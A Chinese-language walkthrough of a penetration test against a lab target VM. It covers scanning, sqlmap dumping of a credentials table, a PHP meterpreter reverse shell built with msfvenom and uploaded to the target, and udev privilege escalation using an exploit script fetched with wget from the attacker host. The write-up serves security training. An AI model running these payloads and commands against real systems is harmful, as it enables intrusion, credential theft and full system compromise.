一、信息收集
1、主机发现
通过nmap对此网段进行扫描,可以确定靶机ip为192.168.189.144
2、端口扫描
确定了靶机ip之后,我们来扫描端口
发现80端口开放,先访问80端口
用插件识别出一些信息
Wappalyzer插件获得信息:Web服务:Apache2.2.3操作系统:Centos后端语言:PHP 5.2.6
二、漏洞扫描
AWVS:
Awvs进行Web漏洞探测发现
功能介绍如下:仪表盘(监视器)功能,添加目标功能,漏洞排序功能,扫描功能,发现功能,用户功能,扫描配置功能,网络扫描功能,追踪器功能,防火墙设置,邮件设置,引擎,时间排除功能,代理功能,常规设置主要使用的功能是前面的6个,后面的根据个人的需要进行配置详细介绍如下:Dashboard功能:翻译意思仪表盘(监视器),可以对扫描对扫描完成目标进行排列,可以单独点击进去查看详细的扫描信息;Targets功能:目标,可以对扫描的目标进行添加,可以单个添加,可以多个添加或者按组添加;Vulnerabilities功能:漏洞排序功能,对扫描出来的漏洞从高危到低位降序排列Scans功能:扫描,可以新建扫描(自己可以配置扫描的参数),可以直接看到扫描记录;Reports功能:可以对扫描的报告进行导出; Discovery功能:字面意思是发现,可以进行设置,有包含一些地址和组织的功能需要自己手动添加,也有排除一些地址和组织的功能,需要自己手动添加;Users功能:可以添加用户删除用户;Scan Profiles功能:扫描配置功能,可以选择对那些漏洞扫描,默认都选不用管;Network Scanner功能:网络扫描,需要设置扫描的地址端口,账号和密码;Issue Trackers功能:问题追踪器,如果扫描失败,进行配置,然后这个功能会尝试链接目标地址看出现什么问题;WAFs功能:防火墙设置,可以配置web应用程序防火墙;Email Settings功能:邮件设Engines功能:引擎Excluded Hours功能:小时排除,可以对一些时间进行排除Proxy Settings功能:代理功能,可以设置代理General Settings功能:常规设置
打开AWVS,在目标中输入我们靶机的ip地址:http://192.168.189.144/
点击保存之后开始进行扫描,可以看到出现一些高危漏洞,然后我们根据他给出的漏洞位置进行验证漏洞的真实性
根据给定的sql注入点进行测试
使用kali自带的sqlmap先跑出数据库:sqlmap -u http://192.168.189.144/index.php?id=2 --dbs
再跑数据库cms的表:sqlmap -u http://192.168.189.144/index.php?id=2 -D cms --tables
再跑user表的字段和值:sqlmap -u http://192.168.189.144/index.php?id=2 -D cms -T user --column
sqlmap -u http://192.168.189.144/index.php?id=2 -D cms -T user -C 'user_username,user_password' --dump
可以看到成功跑出了数据库的用户名和密码
也可以使用nikto漏扫工具进行扫描:
Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。但其软件本身并不经常更新,最新和最危险的可能会检测不到。
CGI漏洞:cgi漏洞是Common Gateway Interface(公用网关接口)的简称,并不特指一种语言。CGI语言漏洞分为配置错误、边界条件错误、访问验证错误、来源验证错误、输入验证错误、策略错误、使用错误等等。
Web服务器的安全问题主要包括:1)Web服务器软件编制中的BUG;2)服务器配置的错误。可能导致CGI源代码泄漏,物理路径信息泄漏,系统敏感信息泄漏或远程执行任意命令。CGI漏洞大多分为一下几种类型:暴露不该暴露的信息、执行不该执行的命令、溢出。
web服务器软件编制中的BUG
web服务器的配置错误
命令:nikto –h http://靶机IP
扫描之后可以看到有敏感目录泄露:
http://192.168.189.144/sql/db.sql
进入网站可以看到泄露了用户名和密码:
INSERT INTO user SET user_id = 1, user_username='admin', user_password=md5('adminpass');
找到登录页面,拿获取到的用户名和密码进行登录
http://192.168.189.144/?action=login
可以看到登录成功,但是没有看到多余的标签页,还是Home、login 这时我们考虑到是否有其他页面没有显示出来,我们可以尝试用不同的浏览器测试。我这里再谷歌浏览器中尝试登录打开,看是否后有什么新的页面展示出来,可以看到会多出来一些东西
可以发现上传页面
密码修改页面
接下来继续访问敏感路径:敏感目录探测:/docs/:
可以下载下来进行查看
可以在其中发现action目录下面存在文件包含漏洞
利用一下
MSF反弹shell
msfvenom msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线.部分参数:-p 选择一个载荷[payload],或者说一个模块吧。-l 载荷列表-f 生成的文件格式-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值-h 帮助-f exe 生成EXE格式LHOST,LPORT 监听上线的主机IP和端口我们这里使用的命令为: 用msf生成php反向shell 命令:msfvenom -p php/meterpreter_reverse_tcp LHOST=kali的IP LPORT=4444 -o shell.php 参数解释: Reverse_tcp(攻击方被动连接的payload) Bind_tcp(攻击方主动连接的payload)
使用msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.189.138 LPORT=4444 -o shell.php命令进行生成反弹shell木马
上传我们生成好的shell木马
可以看到已经上传成功
我们打开它
接下来启动监听模块:use exploit/multi/handler
再配置payload
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
设置本地ip
exploit(multi/handler) > set lhost 192.168.189.144 设置本地地址
exploit(multi/handler) > set 查看配置
exploit(multi/handler) > exploit开启监听
刷新我们上传的反弹shell,进行连接
http://192.168.189.144/files/shell.php
可以发现成功连接
发现不是root权限,接下来开始提权,先查看系统版本:sysinfo
我们可以看到系统内核是:Linux 内核2.6版本
通过查阅,发现有Linux 内核2.6版本udev提权(CVE-2009-1185)
三、提权操作
输入searchsploit linux udev ,查找内核版本相关漏洞及攻击代码
说明:“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。
基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等,对应回显存在的漏洞和用于渗透的脚本。
之后定位具体位置
拷贝到当前路径
下面准备把提权文件上传到靶机,首先要开启http服务:python -m http.server
用靶机下载:wget http://192.168.189.138:8000/8478.sh
赋予执行权限:chmod +x 8478.sh
利用攻击脚本进行攻击,查看一下当前的进程:
cat /proc/net/netlink #查看进程号PID
使用./8478.ssh+PID进程号进行提权,提权成功后可以修改root密码进行登录